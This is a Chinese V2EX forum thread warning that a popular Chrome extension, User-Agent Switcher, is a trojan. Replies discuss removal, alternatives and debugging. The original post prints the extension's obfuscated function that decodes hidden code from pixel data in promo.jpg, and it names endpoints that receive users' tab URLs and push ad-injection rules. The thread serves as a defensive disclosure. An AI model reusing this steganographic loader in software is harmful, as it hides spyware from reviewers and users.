V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
anoymoux
V2EX  ›  浏览器

大家注意了 Chrome 的插件 User-Agent Switcher 是个木马

  anoymoux · 2017-09-09 06:27:10 +08:00 · 53567 次点击
这是一个创建于 2392 天前的主题,其中的信息可能已经有所发展或是发生改变。
chrome 商店搜索 User-Agent Switcher,排第一的这个插件(45 万用户),是一个木马...

https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake

为了绕过 chrome 的审核策略,他把恶意代码隐藏在了 promo.jpg 里

background.js 的第 80 行,从这个图片里解密出恶意代码并执行

t.prototype.Vh = function(t, e) {
            if ("" === '../promo.jpg') return "";
            void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {};
            var n = this.ET,
                i = e.mp || n.mp,
                o = e.Tv || n.Tv,
                h = e.At || n.At,
                a = r.Yb(Math.pow(2, i)),
                f = (e.WC || n.WC, e.TY || n.TY),
                u = document.createElement("canvas"),
                p = u.getContext("2d");
            if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return "";
            e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0);
            var c = p.getImageData(0, 0, u.width, u.height),
                d = c.data,
                g = [];
            if (c.data.every(function(t) {
                    return 0 === t
                })) return "";
            var m, s;
            if (1 === o)
                for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1));
            var v = "",
                w = 0,
                y = 0,
                l = Math.pow(2, h) - 1;
            for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y);
            return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v)
        }
会把你打开的每个 tab 的 url 等信息加密发送到 https://uaswitcher.org/logic/page/data
另外还会从 http://api.data-monitor.info/api/bhrule?sub=116 获取推广链接的规则,打开符合规则的网站时,会在页面插入广告甚至恶意代码.
根据 threatbook 上的信息( https://x.threatbook.cn/domain/api.data-monitor.info ),我估计下面的几个插件都是这个作者的作品..

https://chrome.google.com/webstore/detail/nenhancer/ijanohecbcpdgnpiabdfehfjgcapepbm

https://chrome.google.com/webstore/detail/allow-copy/abidndjnodakeaicodfpgcnlkpppapah

https://chrome.google.com/webstore/detail/%D1%81%D0%BA%D0%B0%D1%87%D0%B0%D1%82%D1%8C-%D0%BC%D1%83%D0%B7%D1%8B%D0%BA%D1%83-%D0%B2%D0%BA%D0%BE%D0%BD%D1%82%D0%B0%D0%BA%D1%82%D0%B5/hanjiajgnonaobdlklncdjdmpbomlhoa

https://chrome.google.com/webstore/detail/aliexpress-radar/pfjibkklgpfcfdlhijfglamdnkjnpdeg

这里也有人讨论这个问题 https://news.ycombinator.com/item?id=14889619

112 条回复    2020-09-05 20:48:27 +08:00
1  2  
gzlock
    1
gzlock  
   2017-09-09 06:33:21 +08:00 via Android   ❤️ 2
真的变 agent 了,赶紧起床删掉
kmahyyg
    2
kmahyyg  
   2017-09-09 06:37:27 +08:00 via Android
天呐,等我回去看下
sunbeams001
    3
sunbeams001  
   2017-09-09 07:02:01 +08:00
简直可怕
Antidictator
    4
Antidictator  
   2017-09-09 07:24:20 +08:00 via Android
我擦。。
t123yh
    5
t123yh  
   2017-09-09 07:25:34 +08:00 via Android
真 TM 吓人啊
torbrowserbridge
    6
torbrowserbridge  
   2017-09-09 07:51:34 +08:00 via Android
我擦,估计早就财务自由了
whwq2012
    7
whwq2012  
   2017-09-09 07:59:24 +08:00 via Android
还好我早就不用 ua 切换工具了
ahhui
    8
ahhui  
   2017-09-09 08:01:44 +08:00 via iPhone
卧槽,起床去删
houbaron
    9
houbaron  
   2017-09-09 08:09:59 +08:00 via Android
我现在正用着呢。。。有什么替代产品呢?
torbrowserbridge
    10
torbrowserbridge  
   2017-09-09 08:13:40 +08:00 via Android
奇怪楼主是怎么发现的呢,赞
wave3c
    11
wave3c  
   2017-09-09 08:15:51 +08:00
用了好多年了 惊悚
mylanch
    12
mylanch  
   2017-09-09 08:16:08 +08:00 via iPhone
google 官方会有什么行动
liyiecho
    13
liyiecho  
   2017-09-09 08:33:14 +08:00   ❤️ 5
看了下我用的是谷歌提供的 User-Agent Switcher for Chrome

@houbaron #9 https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg
dong3580
    14
dong3580  
   2017-09-09 08:39:54 +08:00 via Android
这个用了一次就删了,替换成别的了,害怕,都删了得了。firefox 那个一样名字的呢?
@liyiecho 这个居然是官方的,还好😂没中招,
Cambrian07
    15
Cambrian07  
   2017-09-09 08:45:53 +08:00   ❤️ 1
@liyiecho 删完了发现,我的也是谷歌提供的这个,又默默装上了……
crystom
    16
crystom  
   2017-09-09 08:51:53 +08:00
我曹,已中招,还好我只是使用的时候才启用这个扩展
anoymoux
    17
anoymoux  
OP
   2017-09-09 09:00:46 +08:00
@dong3580 firefox 也不安全,这家伙写的插件大部分都提供了 firefox,opera 版本的,我列出的这几个仅在 chrome 平台就有超过 100 万用户
anoymoux
    18
anoymoux  
OP
   2017-09-09 09:06:52 +08:00
唉,这个插件我装了几年了,想想这几年都在这个俄罗斯黑客的监控之下,挺恶心的...
qlbr
    19
qlbr  
   2017-09-09 09:23:14 +08:00
honk
    20
honk  
   2017-09-09 09:41:44 +08:00 via Android
用 dev tools 自己随便加
akwIX
    21
akwIX  
   2017-09-09 09:47:09 +08:00
@qlbr #19 是
akwIX
    22
akwIX  
   2017-09-09 09:47:27 +08:00
crisfun
    23
crisfun  
   2017-09-09 09:54:35 +08:00 via iPhone
晚上来看看
doubleflower
    24
doubleflower  
   2017-09-09 10:06:35 +08:00
尽量不要装俄国人写的插件。。。
infun
    25
infun  
   2017-09-09 10:09:46 +08:00
@Cambrian07 囧...+1
lpy6759
    26
lpy6759  
   2017-09-09 11:35:33 +08:00
删除代码能解决木马吗
lantianqiren
    27
lantianqiren  
   2017-09-09 11:38:03 +08:00
楼主好人啊····
deeporist
    28
deeporist  
   2017-09-09 11:53:48 +08:00
吃了一惊 还好我 chrome 是用 smart header 自己改的 不过 firefox 里倒是留了一个 刚才一看好像作者就是个毛子立马删之
不过 ff 里的这个我几乎就没用过就是了 改 ua 都是直接用 umatrix
fzhw88
    29
fzhw88  
   2017-09-09 11:59:03 +08:00 via Android
@liyiecho 我也是用的这个
qa2080639
    30
qa2080639  
   2017-09-09 12:08:34 +08:00
赶紧删了...
zro
    31
zro  
   2017-09-09 12:10:47 +08:00
zhuziyi
    32
zhuziyi  
   2017-09-09 12:13:53 +08:00 via iPhone
卧槽,先卸载为敬,快来人进一步核实。
dong3580
    33
dong3580  
   2017-09-09 12:16:24 +08:00
@zro
我火狐上也是这个,不知道有没有问题,
paradoxs
    34
paradoxs  
   2017-09-09 12:21:09 +08:00
浏览器扩展的权限简直不要太大, 还能自动更新, 除了超级重要的扩展, 别的能不开就不开.
ihciah
    35
ihciah  
   2017-09-09 12:40:27 +08:00 via iPhone
好多插件都被买了然后插后门代码。以前中过一个好像叫 Web timer 发现总是跳转返利链接,查了下源码惊了。。
shiloh77
    36
shiloh77  
   2017-09-09 12:43:17 +08:00
Firefox 上這位作者是用什麼名字呢?

有點害怕自己也裝到他的插件...

感謝 lz
ynyounuo
    37
ynyounuo  
   2017-09-09 12:44:08 +08:00   ❤️ 2
很不幸,恐怕很多人已经被荼毒一年半了。
/t/263719
jfdnet
    38
jfdnet  
   2017-09-09 12:47:29 +08:00
记得这个之前有专门文章发过 有好几个有名的插件 是被出售了之后改造了
xujinkai
    39
xujinkai  
   2017-09-09 12:53:16 +08:00
吓得我把平时不用的插件都禁用了
lechain
    40
lechain  
   2017-09-09 13:19:10 +08:00
一直用的 SwitchyOmega,不会有事吧?
zuolan
    41
zuolan  
   2017-09-09 13:26:15 +08:00
可怕,感谢曝光。
hjdtl
    42
hjdtl  
   2017-09-09 13:33:07 +08:00
已经和 chrome 联系了
salary123
    43
salary123  
   2017-09-09 13:49:53 +08:00 via Android
这么久才有人发现。幸亏不是在常用浏览器上使用
saran
    44
saran  
   2017-09-09 13:56:25 +08:00 via Android
还好宝宝不用代理(๑°3°๑)
ghost444
    45
ghost444  
   2017-09-09 14:07:04 +08:00
@anoymoux AMO 的扩展都是人工审核过的,比起 Chrome Web Store 肯定要好一点……
iyangfei
    46
iyangfei  
   2017-09-09 14:20:52 +08:00
还好没有用这个
UnisandK
    47
UnisandK  
   2017-09-09 14:22:12 +08:00
卧槽惊了
EchoChan
    48
EchoChan  
   2017-09-09 14:27:42 +08:00
@qlbr #19 楼主说的就是这个。
Clooody
    49
Clooody  
   2017-09-09 14:52:20 +08:00
要是真的,去 google 商店那里举报一下也好啊,免得后来人遭殃.
showgood163
    50
showgood163  
   2017-09-09 14:54:22 +08:00 via Android
感谢楼主提醒。目前没在用这些扩展。?
doubleflower
    51
doubleflower  
   2017-09-09 14:58:15 +08:00
电脑上的 npm 包成千上万,只要其中有一个人想干点坏事或是 npm 帐号被盗。。。那破坏力比插件强不止一点啊。
7654
    52
7654  
   2017-09-09 15:17:13 +08:00
哈哈我用火狐,托管在 github 的 User Agent Overrider 扩展
mjar
    53
mjar  
   2017-09-09 15:29:46 +08:00
没装,但是我想看看那张图片长什么样...
mjar
    54
mjar  
   2017-09-09 15:37:00 +08:00
![promo.jpg]( )
usedname
    55
usedname  
   2017-09-09 15:43:34 +08:00
Izual_Yang
    56
Izual_Yang  
   2017-09-09 15:50:20 +08:00 via Android
@deeporist 刚装 umatrix 的时候勾了混淆 ua,然后我上知乎就时好时坏
hantsy
    58
hantsy  
   2017-09-09 15:57:37 +08:00   ❤️ 1
我用的是 Proxy SwitchOmega
ynyounuo
    59
ynyounuo  
   2017-09-09 16:37:33 +08:00
@hantsy 不是一类东西 - -
popok
    60
popok  
   2017-09-09 16:56:51 +08:00
@deeporist #28 哈哈,我也用的是 smart header,简直神器
redsonic
    61
redsonic  
   2017-09-09 17:29:51 +08:00
LZ 能不能把图片里的 js 直接贴出来
lslqtz
    62
lslqtz  
   2017-09-09 18:04:46 +08:00
我的天。。我就在用
MaxMadcc
    63
MaxMadcc  
   2017-09-09 18:05:23 +08:00
我也想知道把图片解密出来后,执行了什么
lslqtz
    64
lslqtz  
   2017-09-09 18:09:16 +08:00
background.js
80 行,应该可以去掉
jeffson
    65
jeffson  
   2017-09-09 18:11:56 +08:00
可怕
lslqtz
    66
lslqtz  
   2017-09-09 18:25:12 +08:00
改掉了那些地方,然后自己提交个仅链接可查看的给自己看了
U2FsdGVkX1
    67
U2FsdGVkX1  
   2017-09-09 18:36:04 +08:00
一直用 djflhoibgkdhkhhcedjiklpkjnoahfmg

由 Google 提供
xifangczy
    68
xifangczy  
   2017-09-09 18:37:25 +08:00
我靠。我就是用的这个... 不过因为他会在右键添加很多菜单还关不掉,平时都是禁止的。
Tony2ee
    69
Tony2ee  
   2017-09-09 18:50:55 +08:00
额 看到这个 我就把
https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg
给卸载了还顺便投诉 malware...
感觉自己罪过了...
asdwddd
    70
asdwddd  
   2017-09-09 18:54:56 +08:00
还好用的是这个
User-Agent Switcher for Chrome
offered by google.com

毛子黑客真是...
jliangchan
    71
jliangchan  
   2017-09-09 19:00:37 +08:00
已经在 chrome 商店举报恶意软件, 扩展插件耍流氓真不好发现, 运营商 / dns/ 插件都可能劫持返利链接, 很难排除发现到底是谁的问题.
fhefh
    72
fhefh  
   2017-09-09 19:29:51 +08:00
看了自己写的插件 才 60 多个人 /(ㄒoㄒ)/~~
exoticknight
    73
exoticknight  
   2017-09-09 19:32:48 +08:00
感谢,已卸载
liaoyaoheng
    74
liaoyaoheng  
   2017-09-09 19:50:44 +08:00
举报一下,尽自己一份力。
schema
    75
schema  
   2017-09-09 20:09:47 +08:00
已举报,谢谢分享~
172055
    76
172055  
   2017-09-09 20:37:21 +08:00
去年就有了...
yukiww233
    77
yukiww233  
   2017-09-09 20:43:49 +08:00
吓死我了,结果发现自己用的是 google 的那个,赶紧举报
skadi
    78
skadi  
   2017-09-09 20:51:49 +08:00 via Android
没用过。。。
hantsy
    79
hantsy  
   2017-09-09 20:57:16 +08:00
@ynyounuo 抱歉,没仔细看清楚。
drwx
    80
drwx  
   2017-09-09 21:05:33 +08:00
我用的 Header Hacker,和谷歌官方的那个插件同一作者,不过没有谷歌官方内置的 UA 列表,要自己添加,但是界面上来说似乎好用一点(?)。
tbag781623489
    81
tbag781623489  
   2017-09-09 21:53:35 +08:00 via iPhone
感谢一下,怪不得经常 pop up 一些鬼佬推广。以后只能油猴或者自己写了
MaxMadcc
    82
MaxMadcc  
   2017-09-09 22:00:10 +08:00
@anoymoux 这插件就只把 tab 的 url 信息上传上去了吗?
achendian2
    83
achendian2  
   2017-09-09 22:10:06 +08:00
恐怖 删
LuoboTixS
    84
LuoboTixS  
   2017-09-09 23:14:46 +08:00
Chrome 商店里的排名头部免费热门插件,若常年不断更新、功能已经成熟定型的话,都应该考虑是否有偷数据甚至改页面内容(广告跳转)的后门风险,不然 Dev 喝西北风啊?

英文互联网还有很多靠万能关键词 SEO 引诱点击下载的伪工具软件(广告木马)能把浏览器抽插的七窍流血,但根本不报毒也难定位
xcc880
    86
xcc880  
   2017-09-09 23:28:42 +08:00
0.0 装了好久
acess
    87
acess  
   2017-09-10 00:19:19 +08:00
为啥我看着那么眼熟呢:
Chrome 扩展被出售被加入恶意代码
http://www.solidot.org/story?mode=thread&sid=47732
Kingfree
    88
Kingfree  
   2017-09-10 00:39:10 +08:00
这家伙有问题怎么没被举报掉?
xspoco
    89
xspoco  
   2017-09-10 00:50:04 +08:00
我竟然装了。。赶紧删了。。
redsonic
    90
redsonic  
   2017-09-10 01:20:25 +08:00
折腾了一下,没发现任何数据泄漏给那个域名。
t.prototype.Vh 这个调用过程中没有参数,导致
if (u.style.display = "none", u.width || t.width, u.height || t.height, 0 === u.width || 0 === u.height) return "";
直接 return,也就没法知道 hack 的代码藏在图片的哪个位置

就算注释掉掉这句,由于 canvas 没有绘图,所以 d 里面是全 0
var c = p.getImageData(0, 0, u.width, u.height),
d = c.data,
g = [];
if (c.data.every(function(t) {
return 0 === t
})) return "";

最后也是 return,到不了后面的解码。LZ 应该分享一下怎么知道里面藏着什么东西的。我不是替这个插件说话,只是想知道实际的受害程度,load 一个图片然后跑了一大段混淆的代码确实没安什么好心。
15015613
    91
15015613  
   2017-09-10 08:19:40 +08:00   ❤️ 2
lingaoyi
    92
lingaoyi  
   2017-09-10 09:24:05 +08:00 via iPhone
好恐怖....
Haiwx
    93
Haiwx  
   2017-09-10 10:14:10 +08:00
@15015613 最后一次更新 January 4, 2011,手动摊手
xi_lin
    95
xi_lin  
   2017-09-10 11:22:55 +08:00
中奖了
redsonic
    96
redsonic  
   2017-09-10 11:46:21 +08:00
@cyg07 https://cert.360.cn/warning/detail?id=866e27f5a3dd221b506a9bb99e817889
然而还是不清不楚,没有文件 hash,没有署名,没有提图片里藏什么了以及藏哪了。我实际验证了这个插件,80 行确实加载了 promo.jpg ,但后面马上就返回了。可能实际危害要小很多。
anoymoux
    97
anoymoux  
OP
   2017-09-10 16:46:05 +08:00   ❤️ 1
@redsonic 费了那么大劲把代码藏在图片里,怎么可能执行一下就返回了...你把那一行提取出来 debug 跟踪一下就明白了,下面两段代码是解密出来的
https://pastebin.com/ZYd82Hkm
https://pastebin.com/gXV094wm
虽然混淆了,但是还是很容易看出木马行为的...这作者还是挺狡猾的,刚安装之后不会触发监控模块,24 小时之后才会.
另外 chrome 的 F12 network 里看不到插件发送的请求,这也是很多恶意插件能够存在这么长时间原因...如果想看某一个插件发送的请求,在 chrome://extensions/点击插件->背景页,选择 network 就能看到了
redsonic
    98
redsonic  
   2017-09-10 17:36:09 +08:00
@anoymoux

d=c.data,g=[];console.log(d) 打印出来是全 0 然会就返回了,应该是这个图片显示出来的时候才解密代码,我抓了两天的包都没抓到,chrome 59 源代码 hook 了 url request 也没看到有相关域名,是有什么触发条件吗? 你是随便开一个 tab 就能抓到?
redsonic
    99
redsonic  
   2017-09-10 19:22:09 +08:00
@anoymoux 谢谢,直接在 extensions 里面就地调试 可以解出代码了,只不过第一次 getImageData 还是全 0,要第二次才行 。 把那段单独抽出来不管怎么调试都是 return。不过解出来的混淆代码还是没发出任何东西,在里面循环了一段就退出了,应该还是需要什么条件。
redsonic
    100
redsonic  
   2017-09-10 19:39:59 +08:00
这部分是什么 https://pastebin.com/gXV094wm

我解出的代码是这部分 https://pastebin.com/ZYd82Hkm

@anoymoux
1  2  
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   5494 人在线   最高记录 6543   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 39ms · UTC 08:55 · PVG 16:55 · LAX 01:55 · JFK 04:55
Developed with CodeLauncher
♥ Do have faith in what you're doing.